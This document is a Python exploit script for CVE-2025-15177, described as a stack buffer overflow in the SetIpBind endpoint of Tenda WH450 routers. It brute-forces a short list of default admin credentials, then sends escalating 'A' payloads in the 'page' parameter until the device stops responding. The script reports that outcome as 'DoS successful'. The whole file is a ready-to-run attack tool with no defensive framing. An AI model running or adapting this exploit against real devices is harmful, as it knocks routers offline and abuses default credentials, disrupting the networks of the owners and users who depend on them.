#!/usr/bin/env python3 import sys import time import argparse import requests from typing import Optional, Tuple, List from dataclasses import dataclass from enum import Enum from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class ExploitResult(Enum): SUCCESS = "success" TARGET_DOWN = "target_down" TARGET_ALIVE = "target_alive" AUTH_FAILED = "auth_failed" ERROR = "error" @dataclass class TargetConfig: base_url: str timeout: int = 10 verify_ssl: bool = False @dataclass class Credentials: username: str = "" password: str = "" class TendaWH450Exploit: DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [ ("", ""), ("admin", "admin"), ("admin", ""), ("user", "user"), ] VULNERABLE_ENDPOINT = "/goform/SetIpBind" AUTH_ENDPOINT = "/login/Auth" def __init__(self, config: TargetConfig): self.config = config self.session = requests.Session() self.authenticated = False def _normalize_url(self, url: str) -> str: url = url.rstrip("/") if not url.startswith("http"): url = f"http://{url}" return url def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]: url = f"{self.config.base_url}{endpoint}" kwargs.setdefault("timeout", self.config.timeout) kwargs.setdefault("verify", self.config.verify_ssl) kwargs.setdefault("allow_redirects", True) try: return self.session.request(method, url, **kwargs) except requests.exceptions.RequestException: return None def check_alive(self) -> bool: response = self._request("GET", "/") return response is not None and response.status_code == 200 def authenticate(self, creds: Credentials) -> bool: data = {"username": creds.username, "password": creds.password} response = self._request("POST", self.AUTH_ENDPOINT, data=data) if response is None: return False if response.status_code == 200: if "index" in response.url.lower() or "main" in response.text.lower(): self.authenticated = True return True return False def authenticate_with_defaults(self) -> bool: for username, password in self.DEFAULT_CREDENTIALS: if self.authenticate(Credentials(username, password)): return True return False def trigger_overflow(self, payload_size: int) -> ExploitResult: if not self.authenticated: return ExploitResult.AUTH_FAILED overflow_data = "A" * payload_size params = { "page": overflow_data, "op": "no", "check": "1", "default_mode": "1" } try: self._request("GET", self.VULNERABLE_ENDPOINT, params=params) except Exception: pass time.sleep(3) if not self.check_alive(): return ExploitResult.TARGET_DOWN return ExploitResult.TARGET_ALIVE def execute(self, payload_sizes: List[int]) -> ExploitResult: if not self.check_alive(): return ExploitResult.ERROR if not self.authenticate_with_defaults(): return ExploitResult.AUTH_FAILED for size in payload_sizes: result = self.trigger_overflow(size) if result == ExploitResult.TARGET_DOWN: return ExploitResult.SUCCESS time.sleep(2) return ExploitResult.TARGET_ALIVE def parse_arguments() -> argparse.Namespace: parser = argparse.ArgumentParser( description="CVE-2025-15177: Tenda WH450 V1.0.0.18 Stack Buffer Overflow", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument("target", help="Target IP or URL") parser.add_argument("-s", "--size", type=int, default=240, help="Initial payload size") parser.add_argument("-u", "--username", default="", help="Authentication username") parser.add_argument("-p", "--password", default="", help="Authentication password") parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout") parser.add_argument("--escalate", action="store_true", help="Try escalating payload sizes") return parser.parse_args() def main() -> int: args = parse_arguments() config = TargetConfig( base_url=args.target.rstrip("/") if args.target.startswith("http") else f"http://{args.target}", timeout=args.timeout ) exploit = TendaWH450Exploit(config) print(f"\n[*] Target: {config.base_url}") print(f"[*] CVE-2025-15177: Tenda WH450 SetIpBind Buffer Overflow\n") if not exploit.check_alive(): print("[-] Target is not reachable") return 1 print("[+] Target is alive") if args.username or args.password: if not exploit.authenticate(Credentials(args.username, args.password)): print("[-] Authentication failed with provided credentials") return 1 print("[+] Authenticated with provided credentials") else: if not exploit.authenticate_with_defaults(): print("[-] Authentication failed with all default credentials") return 1 print("[+] Authenticated with default credentials") payload_sizes = [args.size] if args.escalate: payload_sizes = [args.size, args.size + 100, 500, 1000, 2000] print(f"[*] Sending overflow payload(s): {payload_sizes}") result = exploit.execute(payload_sizes) if result == ExploitResult.SUCCESS: print("\n[!] TARGET CRASHED - DoS successful") return 0 elif result == ExploitResult.TARGET_ALIVE: print("\n[?] Target still responsive - try larger payloads with --escalate") return 2 else: print(f"\n[-] Exploit failed: {result.value}") return 1 if __name__ == "__main__": sys.exit(main())